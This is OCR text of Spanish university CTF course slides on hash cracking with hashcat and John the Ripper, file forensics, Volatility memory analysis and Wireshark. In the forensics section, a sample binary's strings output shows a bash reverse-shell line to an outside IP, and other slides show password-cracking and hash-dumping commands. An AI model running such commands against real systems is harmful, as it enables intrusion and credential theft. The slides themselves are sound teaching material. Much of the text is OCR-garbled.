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| - Hashes

{Qué es un hash?

s s dkfmor234rmi52jt

password 23 , | Funcion hash + | 49240m42me243m
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* Ventajas:

« Tablas de hashes crackeados
* Permiten acceder de forma muy rapida a

| — Hash cracking — Lookup tables

Lookup tables

* Desventajas:

sales (Salt)

hashes comunes

Crackstation.net

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

482c811da5d5b4bc6d497ffa98491e38

. No soy un robot R

reCAPTCHA
rivacidad - Términos

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, shal, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (shal(shal_bin)), QubesV3.1BackupDefaults

Hash Type Result

Color Codes: Giéén: Exact match, Yellow: Partial match, [REll Not found.

* Inservibles ante hashes con
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https://crackstation.net/

password|23
Salt: 12345

password |23
Salt: 98765

Sales (Salt)

Funcion hash

Funcion hash

£

K

jn80o2j2nuefnwejw
nqlewfqewi4

msc4r340jrewfOe
wk0Oewk04meb
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| — Hash cracking — Sales (Salt

Sales (Salt)

« Pepe:$63wrgjyrt4Slrewjt94j0mfwoeif432982343402ijr432ij: ....

Tipo Salt Hash
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| — Hash cracking

Introduccion al hash cracking

hello , . er43fe
12345 > . oif23y
Hash
Func. qre23f
pepe > > 0i29kl
Hash objetivo
pl23 > » qre23f
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| — Hash cracking — Hashcat |

Introduccion a hashcat

 Herramienta de crackeo de hashes
* Permite una gran variedad de hashes

* Muy optimizado
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| — Hash cracking — Hashcat Il

Hashcat

1. Identificar el hash

2. Guardarlo en un archivo

3. Crackearlo con un diccionario
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| — Hash cracking — ldentify the hash

Hashes # Inicio ? Preguntas frecuentes B Depositar en fideicomiso ™ Compra créditos = APl Herramientas v Desencriptar hashes v Fideicomiso~ ?Support # Espafiol ~ &+ Registrarse %) Accceso

A Procesado!
1 hashes fueron chequeados: 1 posiblemente identificados 0 sin identificacién

A Paga a profesionales para desencriptar tus listas restantes

BUSCAR NUEVAMENTE

HASHES.COM DESENCRIPTAR HASHES HERRAMIENTAS FIDEICOMISO

IDIOMA
=

Page renderec
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| — Hash cracking — ldentify the hash

Raw Hash

Raw Hash

Raw Hash authenticated
Raw Hash authenticated
Generic KDF

Network Protocol
Network Protocol
Network Protocol
Network Protocol
Network Protocol
Network Protocol

Half

HMAC- (key = $pass)

HMAC- (key = $salt)

PBKDF2-HMAC-

SIP digest authentication (

IKE-PSK

SNMPv3 HMAC- -96

SNMPv3 HMAC- -96/HMAC-SHA1-96
CRAM-

iSCSI CHAP authentication, (CHAP)

50

60
11900
11400
5300
25100
25000
10200
4800

Cisco-ASA

Cisco-PIX

md5crypt, (Unix), Cisco-I0S $1% (
PostgreSQL CRAM ( )

CRAM- Dovecot

Dahua Authentication

Apache $apri$ , md5april, (APR)

MS Office <= 2003 $0/%1, + RC4

MS Office <= 2003 $0/%1, + RC4, collider #1
9720 | MS Office <= 2003 $0/%1, + RC4, collider #2 Document

30000 | Python Werkzeug ( HMAC- (key = $salt)) Framework

22500 | MultiBit Classic .key ( ) | Cryptocurrency Wallet

Wordlist + Rules | | hashcat -a @ -m @ example®@.hash example.dict -r rules/best64.rule
Brute-Force I | hashcat -a 3 -m @ example®@.hash ?a?a?a?aza?a

Combinator I | hashcat -a 1 -m @ example@.hash example.dict example.dict

2410
2400
500
11100
16400
24900
1600
9700
9710

Operating System

Operating System

Operating System

Database Server

FTP, HTTP, SMTP, LDAP Server
FTP, HTTP, SMTP, LDAP Server
FTP, HTTP, SMTP, LDAP Server
Document

Document

| |
I I
| |
I I
| |
| |
| |
| I
| |
I I
| |
19000 | QNX /etc/shadow (110°) | Operating System
I I
| I
I |
I I
| |
| I
I I
I |
I |
I I
| |
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| — Hash cracking — Crack the hash

A cat hash.txt

482c811da5d5b4bc6d497ffag98491e38

A hashcat -m @ hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.@+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

linimum password length supported by kernel: @
laximum password length supported by kernel: 256

: 1 digests; 1 unique digests, 1 unigue salts
: 16 bits, 65536 entries, Ox@000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte

* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

Ivan Garcia e Ignacio Sanchez
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| — Hash cracking — Crack the hash

Dictionary cache hit:
Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

482c811da5d5b4bc6d497ffa98491e38: password123

Session..........: hashcat

482c811da5d5b4sbced497ffag98401e38
: Thu Oct 12 09:43:09 2023 (0 secs)
Time.Estimated...: Thu Oct 12 ©9:43:09 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base : File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)

596.8 kH/s (0.19ms) @ Accel:512 Loops:1 Thr:1 Vec:8
1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

1 2048/14344385 (0.01%)

: B/2048 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:@-1 Iteration:@-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> loversl
Hardware.Mon.#1..: Util: 25%

Started: Thu Oct 12 09:42:55 2023
Stopped: Thu Oct 12 09:43:11 2023
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| — Hash cracking — Hashcat Il

Mask attacks

e Cuando conoces parte de la
contrasena.

« Utiliza la opcion "-a 3"

« Password?d?d?d --> password123

Ivan Garcia e Ignacio Sanchez
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| — Hash cracking — Hashcat |l

A hashcat -m @ hash.txt -a 3 "password?d?d?d"
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.@+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: cpu-sandybridge-AMD Ryzen 7 PRO 6850U with Radeon Graphics, 3915/7894 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unigue digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, @x@000ffff mask, 262144 bytes, 5/13 rotates

482c811da5d5b4bc6d497ffa98491e38: password123

: hashcat
: Cracked

¢ 482c¢811da5d5b4bc6d497ffa98491e38
: Thu Oct 12 20:33:46 2023 (0 secs)
Time.Estimated...: Thu Oct 12 20:33:46 2023 (0@ secs)
Kernel.Feature...: Pure Kernel
: password?d?d?d [11]
: 1/1 (100.00%)
648.7 kH/s (0.13ms) g Accel:512 Loops:1 Thr:1 Vec:8
: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
: 1000/1000 (100.00%)
: 0/1000 (0.00%)
: 0/1000 (0.00%)
: Salt:0 Amplifier:@-1 Iteration:0-1
: Device Generator
: password123 -> password649
Hardware.Mon.#1..: Util: 26%

Started: Thu Oct 12 20:33:44 2023
Stopped: Thu Oct 12 20:33:48 2023
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| — Hash cracking — Hashcat Il

Mask attacks

?| = abcdefghijkimnopqrstuvwxyz

?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789

?h = 0123456789abcdef

?H =0123456789ABCDEF

?s = «space»!"#$%&'()*+,-./;;<=>?@N\"_{|}~
?a = ?1?u?d?s

?b = 0x00 - Oxff

Ivan Garcia e Ignacio Sanchez



Universidad
Rey Juan Carlos

| — Hash cracking — John

A john --format=Raw-MD5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
arning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status

password123 (?)

lg 0:00:00:00 DONE (2023-10-12 20:41) 33.33g/s 51200p/s 51200c/s 51200C/s 753951..mexicol
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
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| — Hash cracking — *2john

Uso de John contra archivos

 Para archivos con contrasefna

1. Obtener el hash \

Jobm

ipper

2. Crackear el hash

Ivan Garcia e Ignacio Sanchez
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| — Hash cracking — *2john

Unzip de un comprimido

A unzip flag.zip
Archive: flag.zip
skipping: flag need PK compat. v5.1 (can do v4.6)

Ivan Garcia e Ignacio Sanchez
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A zip2john flag.zip
flag.zip/flag:$zip2$*0*1%x0*x2a9178f0de774b58*d5a3*14*b4a88a78c5650277ef5b7c56682a4a8a0dd64d7a*991a11a127b05137b7e7%$/zip2%: flag: flag.zip:flag.zip

zip2john flag.zip > hash.txt

A at hash.txt
flag.zip/flag: $z1p2$*0*1*@*2a9178fBde774b58*d5a3*14*b4a88a78c565@277ef5b?c56682a4a8a@dd64d7a*991a11a127b0513?b?e?*$/21p2$ flag:flag.zip:flag.zip
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| — Hash cracking — *2john

A john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8

Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1l 256/256 AVX2 8x])
Cost 1 (HMAC size) 1s 2@ for all loaded hashes

ill run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

quwerty (flag.zip/flag)

1g 0:00:00:00 DONE (2023-10-12 20:52) 7.142g/s 58514p/s 58514c/s 58514C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably

Session completed.
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| — Forense

iQué es el analisis forense?

 Buscar datos dada una fuente de
iInformacion.

* Analisis de archivos

« Analisis de discos duros

* Analisis de memoria RAM

* Analisis de trafico de red

« Andlisis de emails, logs, trafico USB...

Ivan Garcia e Ignacio Sanchez
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a)

00000000:

0e00eR10: @

PR000R20:
DOO0RB30:
POO0ODLE:
GLLELEEER
oODRR60 :
oOORR70 :
DOOORR8A :
DOOOe090:
Do00RRa0 :
000000bO :
e00RACcH :
GEELLELER
DR0000e0:
EELLEERH
PRO00100:
PR000110:

| — Forense - Archivos

background. jpg
4946 00 00 oo .. JFIF.
00 SR
0a L
ga
[
00 38
00 00
o000 000D GO0 .
0a 00 0 L o

go oo ) o]
3141 5161 072; 3z 23 1A..0a

"q.2 #
42 52 24 3362 7: D90z B R..$3br...
25 2627 2829 2a34 3536 3738 393a %' ( )*456789:;
5 - A < - g OE = - ~L - Y

bytes

Conjunto de bytes gue se encuentran al
principio de un archivo.

|dentifican el contenido del archivo.

Comando "xxd"

https://en.wikipedia.org/wiki/List_of file_signatures

Ivan Garcia e Ignacio Sanchez
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| — Forense - Archivos

Magic bytes

A file background.jpg
background. jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1920x108@, components 3

e |dentificacion automatica

e Comando "file"

Ivan Garcia e Ignacio Sanchez
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| — Forense - Archivos

A file randomFile
randomFile: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/1d-linux-x86-64.s0.2, BuildID[shall=ca43727ee824

r GNU/Linux 3.2.8, not stripped

A strings randomFile
/1ib64/1d-1inux-x86-64.50.2

__libc_start_main
__cxa_finalize

_ITM_aeregisterTMCloneTable
__emon_start__
_ITM_registerTMCloneTable

/bin/bash -1 > /dev/tcp/104.11.183.41/9443 B<&1 2>51

: (Debian 13.2.0-2) 13.2.0

deregister_tm_clones
__do_global_dtors_aux

Muestralas cadenas de texto imprimibles

Ivan Garcia e Ignacio Sanchez
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| - Analisis de RAM
Analisis de RAM

Analisis de memoria volatil

Solo tiene contenido cuando esta conectada a la corriente y
cuando se apaga el ordenador, Ciao datos.

Se almacenan de forma temporal todos los programas,
procesos, librerias, etc...

TLLLLELLELLLLIT
= o fi s -\ =B

-
| &
|
=)
"
||
| |
|
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|.Volat

? i e ettt L et Ly
. A ili o ot L 111
{Qué es Volatility? g e R
: gl ‘_j;ﬁﬁ".;i-a- o
.7 . t Lossdbrrrirt "'L“_ Mot !
Es una coleccion de herramientas que nos ayudan a \ e "';f“iii?‘ it
analizar "dumps' de memoria volatil (RAM) e LT ”,;E'# ‘ jj;
- Liddheswppor=? “IT '. dosd e
o . r . » o ‘ :J"‘i":"J if':_l M“r .._‘ t L‘. Ll
Facil de ejecutar ya que esta implementada en Python |2 y v
Wi i (1] T
Preinstalada en la maquinadel curso '
Bl e
$ cd Documentos . i
$ cd volatility W
$ python2 vol.py ol
(1R ITRRIAT 1R
LA LIL IR T
AT ATITRAY
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— Comandos Basicos

[:—E )- | ~/Documentos/dump |
VO -l " l::, .

( dump.raw imageilnfo
Volatility Foundation Volatility Framework

INFO s volatilitv. dehuo + _Determining
Suggested Profile(s) : Win7SP1x64,

El plugin "imageinfo" nos da informacion sobre el dump que vamos a
comenzar a analizar
Lo mas importante es quedarnos con el "profile”

Ivan Garcia e Ignacio Sanchez
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“=- M |I. Volatility (help

parar vista izquierda/derecha [ Separar vista arriba/abajo E Cargar una nueva pes
Print list of open handles
shdump Dumps 1 ds hashes (LM/NTLM)
hibinfo Dump hibernation file info i
i Prints out hiv
Print list 0+

Python2 vol.py -h

L to impo L
() jobl r 55 job link information
and dump potent
K d dump potent
ldrmodules ete unlinked DLLs
lsadump Dump

https://github.com/volatilityfoundation T
/volatility/wiki/Command-Reference 21§EJ§E‘E°

r to an table file sample
rnel modules

r for mut

plugin
\ Print istry ke and its subkey
pri Displ
procdump Dump
i Print

Pool
Print process lis
Find hidden processes 1 ious process
Dump Qemu info i

p 1nT ShutdownTime of
Print list of open so

Ivan Garciae Ignac1o]Sénchez
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|.Volatility — Comandos Basicos (pslist

)-[~/Documentos/dump |
vol.py dump.raw "Win7SP1x64" pslist|j

N, N 7

Offset(V) Name PID S Sess Wow64 Start
Oxfffffa8@lafelb30 firefox.exe 3312 353 1 1 2020-06-12 :16:16 UTC+0000

OxfffffaB01a811520 firefox.exe 3084 381 1 1 2020-06-12 :16:16 UTC+0000

[y
[y

OxfffffaB01laf39b30 firefox.exe 2784 307 2020-06-12 :16:21 UTC+0000

58 2020-06-12 :16:34 UTC+0000
2020-06-12 :17:13 UTC+0000
2020-06-12 :17:13 UTC+0000
2020-06-12 :17:32 UTC+0000
2020-06-12 :18:24 UTC+0000
2020-06-12 :18:24 UTC+0000
2020-06-12 :18:24 UTC+0000
2020-06-12 :18:50 UTC+0000
2020-06-12 :19:13 UTC+0000
2020-06-12 :19:13 UTC+0000

van Garcia e ignacio anchez

0xfffffa801aald®270 notepad.exe 3060
0xfffffa8019dc1b30 sppsvc.exe 3000
Oxfffffa801laff97d@ svchost.exe 3656
Oxfffffa8018faf630 7zFM.exe 868
OxfffffaB8018f7e@60 SearchProtocol 2256
Oxfffffa80lace®8ad SearchFilterHo 2320
OxfffffaB801a9d5b30 SearchProtocol 1960
Oxfffffa8019011b30 MRCv120.exe 1376
Oxfffffa8019096060 WMIADAP.exe 1184
Oxfffffa8019066060 WmiPrvSE.exe 1400

=
o Oy O 00 O 00 &~ W M

=
[ I I T T T o o o T o~

L Lo T I R o R
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o ~
Volatility Foundation Volatility Framework 2.6.1
Name

Pid

Thds

Hnds

|.Volatility — Comandos basicos (pstree)

forense volatility -f imagen.vmem —-profile=WinXPSP2x86 pstree

Time

0x819cc830:System
Px81945020:smss.exe
@x816c6020:csrss.exe
Px813a9020:winlogon.exe
Px816daM20:services.exe
0x817757f0:svchost.exe
@x81772ca8:vmacthlp.exe
Px816cbdal:svchost.exe
0x815c4dad:wscntfy.exe
@x815e7bed:wuauclt.exe
0x8167e9d0@:svchost.exe
®x81754990:VMwareService.e
@x8136c5a0:alg.exe
Px813aedal:svchost.exe
@x817937e0@:spoolsv.exe
..« Ox815daca8:svchost.exe
. 0x813c4020:1sass.exe
0x813bcda@:explorer.exe

Con este comando podemos listar los
procesos en forma de arbol

4

55

3
11
24
16

162
21
355
533
261
217
pr
1058
27
173
194
145
99
187
140
58
336
322

1970-01-01
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10
2011-10-10

UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
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|.Volatility — Comandos basicos (cmdline)

[:—E )-[~/Documentos/dump |
vol.p

dump.raw "Win7SP1x64" cmdline

Fhhkkddhdkdkdrhhkddhhhkdidirhddhhhhdddhhhdidihdddhhhkhiidhhkhhhhddhhhkhihdhhkihhikhiik
svchost.exe pid: 3656

Command line : C:\Windows\System32\svchost.exe -k secsvcs

Fokk e dd ok k ok kA Ak ke Ak ok Ak ko Ak ko ke ok ok ok Ak ok ok ok ek ok ko ok ok ok ek ok ok ko ok
7zFM.exe pid: 868

Command line : "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Desktop\ficheroSecreto.7z"
ttddttt bt i bt sttt tdd it ittt ittt t bttt bttt t bttt ittt ittt St St

Obtenemos los comandos que se
ejecutaron en la maquina Windows

Ivan Garcia e Ignacio Sanchez



|.Volatility — Comandos basicos (consoles)

volatility -f imagen.vmem ——profile=WinXPSP2x86 consoles

C:\Documents and Settings\Administrator>sc query malware

SERVICE _NAME: malware

TYPE : KERNEL_DRIVER
STATE : RUNNING

(STOPPABLE,NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : (0x0)
SERVICE_EXIT_CODE : (0x0)
CHECKPOINT :
WAIT_HINT

Con este plugin encuentra comandos que un
atacante puede haber ejecutado en cmd.exe

Ivan Garcia e Ignacio Sanchez



Volatility Foundation Volatility Framework 2.6.1
Offset(P) Local Address Remote Address

0x01al25a50 0.0.0.0:10206 172.16.98.1:006606

Listamos las conexiones que
estaban en el momento de la captura

Ivan Garcia e Ignacio Sanchez
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|.Volatility — Comandos basicos (filescan)

volatility —-f imagen.vmem ——profile=WinXPSP2x86 filescan

Access Name

0x000000000156bchb@
0x0000000001561100
0x00000000015a9a70
0x00000000015ac5c8
0x00000000015ac6b0
0x00000000015ac8f0
0x00000000015ad318
0x00000000015ad740

\Device\Afd\Endpoint

\Device\NamedPipe\W32TIME

\Device\KSENUM#00000002\{9B365890-165F-11D0-A195-0020AFD156E4 }
R--rw— \Device\HarddiskVolumel\WINDOWS\WinSxS\x86_Microsoft.Windows.C
R--rw- \Device\HarddiskVolumel\WINDOWS\Media\Windows XP Startup.wav
R——r—-d \Device\HarddiskVolumel\WINDOWS\WinSxS\x86 Microsoft.VC80.MFC _
R——r—-d \Device\HarddiskVolumel\WINDOWS\system32\webcheck.dll
R——r—-d \Device\HarddiskVolumel\WINDOWS\system32\themeui.dll

PR RPRRRRLRRPLN

Con este comando podemos listar los
archivos que se encontraban en la maquina
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|.Volatility — Comandos basicos (dumpfile)

forense volatility —f imagen.vmem —--profile=WinXPSP2x86 filescan | grep .wav
Volatility Foundation Volatility Framework 2.6.1
0x00000000015ac6b0 1 ® R——rw— \Device\HarddiskVolumel\WINDOWS\Media\Windows XP Startup.wav
0x00000000018d82c0 1 ® R——rw— \Device\HarddiskVolumel\WINDOWS\Media\Windows XP Balloon.wav

(3 ~ forense volatility —f imagen.vmem ——profile=WinXPSP2x86 dumpfiles ——dump-dir=. -Q 0x00000000015ac6b0
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 9x015ac6b® None \Device\HarddiskVolumel\WINDOWS\Media\Windows XP Startup.wav

Con este comando podemos dumpear/extraer
archivos concretos que se encontraban en la maquina

Ivan Garcia e Ignacio Sanchez
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|.Volatility — Comandos basicos (hashdump)

{——i. ® TF)-[~/Documentos/dump]

—$ vol.py dump. raw "Win7SP1x64" hashdump

Volatility Foundation Volatility Framework 2.6.1
Administrador$500:aad3b435b51404eeaad3b435b51404ee:31dbcfe@d16ae931b73¢c59d7e0c089c0: : :
Invitado:501:2ad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089c0: : :
Admin:1000:aa¢3b435b51404eeaad3b435b51404ee:62234517c6b66dc7839f0da943bd29ee: ::

Con este comando podemos dumpear/extraer los
hashes de los usuarios de la maquina

Ivan Garcia e Ignacio Sanchez
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Il — Analisis de trafico

Analisis de trafico

Analisis de las actividades de la red para descubrir el origen
de ataques, virus, intrusiones o infracciones de seguridad que
se producen en una red.

Involucra las redes informaticas y los protocolos de red.

Permitira descubrir:

Navegacion en paginas web

Exfiltraciones de datos

-  Conexiones maliciosas

Credenciales en texto plano

Ivan Garcia e Ignacio Sanchez
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Il — Wireshark

iQué es Wireshark?

Es un “sniffer” o herramienta que intercepta trafico.
Muestra en una interfaz sencilla paquete a paquete y
todos los datos que contienen. Admite mas de 2000

protocolos de red.

Las capturas de trafico se guardan en ficheros .pcap, que

es con lo que vamos a trabajar mayoritariamente en CTFs

(la captura nos la dan)

Ivan Garcia e Ignacio Sanchez
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= Capture.pcapng = i=1F3

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Amj@m[RE Qe2EF IS S QAQQE

L] |£\.p|: y a display filter ... =Ctrl-/> v] +

Mo. Time Source Destination Protocol Lengtt Info =

— 447 32.24296.. 192.168.0.147 192.168.0.115 TCP 74 52670 - 80 [SYN] Seq=0 Win=6424@ Len=0 MSS=1460 SACK PERM=1 1
448 32.24516.. 192.168.0.115 192.168.0.147 TCP 74 80 - 52670 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 S/
449 32.24518.. 192.168.0.147 192.168.0.115 TCP 66 52670 - 80 [ACK] Seg=1 Ack=1 Win=64256 Len=0 TSval=140780498¢

| . .. 192.168.0. .168.0. 407 GET /shell.php HTTP/1.1
451 32.24589.. 192.168.0.115 192.168.0.147 TCP 66 80 - 52670 [ACK] Seq=1 Ack=342 Win=64896 Len=0 TSval=1701954¢C
452 32.24864.. 192.168.0.115 192.168.0.147 TCP 74 53734 - 80 [SYN] Seg=0 Win=64240 Len=0 MSS5=1460 SACK_PERM=1 1
453 32.24867.. 192.168.0.147 192.168.0.115 TCP 74 80 - 53734 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS5=1460 S/
454 32.24908.. 192.168.0.115 192.168.0.147 TCP 66 53734 - 80 [ACK] Seg=1 Ack=1 Win=64256 Len=0 TSval=170195410]
455 32.25470.. 192.168.0.115 192.168.0.147 TCP 172 53734 - 80 [PSH, ACK] Seg=1 Ack=1 Win=64256 Len=106 TSval=17¢C
456 32.25472.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seg=1 Ack=107 Win=65152 Len=0 TSval=1407804¢—
457 32.27156.. 192.168.0.115 192.168.0.147 TCP 265 53734 - 80 [PSH, ACK] Seq=107 Ack=1 Win=64256 Len=199 TSval=]
458 32.27159.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seg=1 Ack=306 Win=65024 Len=0 TSval=1407805€C
459 32.27581.. 192.168.0.115 192.168.0.147 TCP 120 53734 - 80 [PSH, ACK] Seq=306 Ack=1 Win=64256 Len=54 TSval=1j
460 32.27585.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seg=1 Ack=360 Win=65024 Len=0 TSval=1407305¢C
461 32.27781.. 192.168.0.115 192.168.0.147 TCP 78 53734 - 80 [PSH, ACK] Seq=360 Ack=1 Win=64256 Len=12 TSval=1j
462 32.27786.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=372 Win=65024 Len=0 TSval=1407805C
463 32.27812.. 192.168.0.115 192.168.0.147 TCP 109 53734 - 80 [PSH, ACK] Seq=372 Ack=1 Win=64256 Len=43 TSval=1j
464 32.27813.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seg=1 Ack=415 Win=65024 Len=0 TSval=1407805C
465 36.53758.. 192.168.0.147 192.168.0.115 TCP 7380 - 53734 [PSH, ACK] Seg=1 Ack=415 Win=65024 Len=7 TSval=14¢C
466 36.53792.. 192.168.0.115 192.168.0.147 TCP 66 53734 - 80 [ACK] Seq=415 Ack=8 Win=64256 Len=0 TSval=1701958:
467 36.54057.. 192.168.0.115 192.168.0.147 TCP 75 53734 - 80 [PSH, ACK] Segq=415 Ack=8 Win=64256 Len=9 TSval=17¢C -

»

1

» Transmission Control Protocol, Src Port: 52670, Dst Port: 80, Seq: 1, Ack: 1, Len: 341 =
- Hypertext Transfer Protocol
» GET /shell.php HTTP/1.1\r\n

Host: 192.168.0.115\r\n

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8\r\n

Accept-Language: en-US,en;g=0.5\r\n

Accept-Encoding: gzip, deflate\r\n

DNT: 1\r\n b
0opo 88 @0 27 92 a2 af 00 Oc 29 4a h9 cd 08 00 45 GO ce e )J----E =
0016 01 89 b0 1d 40 00 40 06 06 fb cO a8 00 93 cO a8 @@ v
0026 00 73 cd be 068 50 01 9f 1c bb 87 c6 14 06 80 18 ‘s P

@ 7 capture.pcapng Packets: 907 - Displayed: 907 (100.0%) Profile: Default
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Seguir flujo HTTP

Lengtt Info =
62 3372 - 80 [SYN] Seq=0 Win=8760 Len=0 MSS=1460 SACK PERM=1
62 80 - 3372 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1380 SACK PERM=1
54 3372 - 80 [ACK] Seq=1 Ack=1 Win=9660 Len=0

533 GET /download.html HTTP/1.1

54 80 - 3372 [ACK] 5EC|=1 Ack=48 ﬂark.l’Unm!ark Packet Ctrl+M

14.. 80 - 3372 [ACK] Seq=1 Ack=48( !gnore/Unignore Packet Ctri+D of a reassembled PDU]

54 3372 -~ 80 [.ﬂ.CK] Seq=48El Ack= Set/Unset Time Reference Ceri+T

14.. 80 - 3372 [ACK] Seq=1381 Ack: Time Shift.. Cri+shift+T ent of a reassembled PDU]

54 3372 - 80 [ACK] Seq=480 Ack= Packet Comment... Ctrl+Alt+C

14.. 80 - 3372 [ACK] Seq=2761 Ack: Edit Resolved Name ent of a reassembled PDU]

14.. 80 - 3372 [PSH, ACK] Seq=414] . . rier ,| segment of a reassembled PDU]
54 3372 - 80 [ACK] Seq=480 Ack=

89 Standard query 0x0023 A page

14.. 80 - 3372 [ACK] Seq=5521 Ack:

54 3372 - 80 [ACK] Seq=480 Ack=

14.. 80 - 3372 [ACK] Seq=6901 Ack:

188 Standard query response 0x00 TCP Stream CNAME

775 GET /pagead/ads?client=ca-pul copy , at=468:

54 3372 - 80 [ACK] 5EC|=48EI Ack= Protocol Preferences » -
14..80 - 3372 [ACK] Seq=8281 Ack! pecode ss..

14..80 - 3372 [PSH, ACK] Seq=966! ., . 5 cketin New Window DU]

54 3372 - 80 [ACK] 5EC|=48E| Ack=rrvusr win=suuu Cern=u

14.. 80 - 3372 [ACK] Seq=11041 Ack=480 Win=6432 Len=1380 [TCP segment 0T a reassemuleu PUU] -

Prepare as Filter
Conversation Filter
Colorize Conversation
SCTP

"ent of a reassembled PDU]
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™ Wireshark - Follow HTTP Stream (tcp.stream eq 0) : http.cap =13

GET fdownload.html HTTP/1.1

Host: www.ethereal.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;qg=0.8,1image/png,image/jpeqg,image/gif;q=0.2,*%/*;q=0.1
Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;q=0.7,%;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.ethereal.com/development.html

Peticion

HTTP/1.1 200 0K

Date: Thu, 13 May 2004 10:17:12 GMT

Server: Apache

Last-Modified: Tue, 20 Apr 2004 13:17:00 GMT
ETag: "9a0la-4696-7e354bo0"

Accept-Ranges: bytes

Content-Length: 18070

Keep-Alive: timeout=15, max=180

Connection: Keep-Alive

Content-Type: text/html; charset=I50-8859-1

=7xml versien="1.8" encoding="UTF-8"7> R
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.8 Strict//EN" espueSta
"DTD/xhtmll-strict.dtd"=
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
<head=
<titlexEthereal: Download</title=
<style type="text/css" media="all">
@import url("mm/css/ethereal-3-0.cs5");
</style>
=/head=
<body=
<div class="top">
<table width="100%" cellspacing="0" cellpadding="8" border="0" summary="">

<tr=
<td valion="middle" width="1"> b
Packet 4. I client pkt, 1 server pkt, I turn. Click to select.
Entire conversation (18kB) v Show data as | ASCII v
Find: Find Next

Filter Out This Stream Print Save as... Back X Close S {Help

Ivan Garcia e Ignacio Sanchez
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Exportar objetos

|

Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Open Ctrl+0 @@E?Q:g@\&aﬁ
Open Recent ¥ — —
Merge...
Import from Hex Dump... stination Protocal
Close S .208.228.223 TCP
N 5.254.160.2.. TCP
save As... Ctrl+shift+S ccili i 07
—— 5.254.160.2.. TCP
File Set *1.208.228.223 TCP
Export Specified Packets... 5.254.160.2.. TCP
Export Packet Dissections ».5.254.160.2.. TCP
Export Packet Bytes... crl+shift+x 1.208.228.223 TCP
Export PDUS to File... 5.254.160.2.. TCP
Export TLS Session Keys... .208.228.223 TCP

- MEF

Export Objects
3 TCP

Print... Ctrl+P CTCP
Quit Ctrl+Q . TCP
33 4.356264 145.254.160.2.. 65 3 TCP

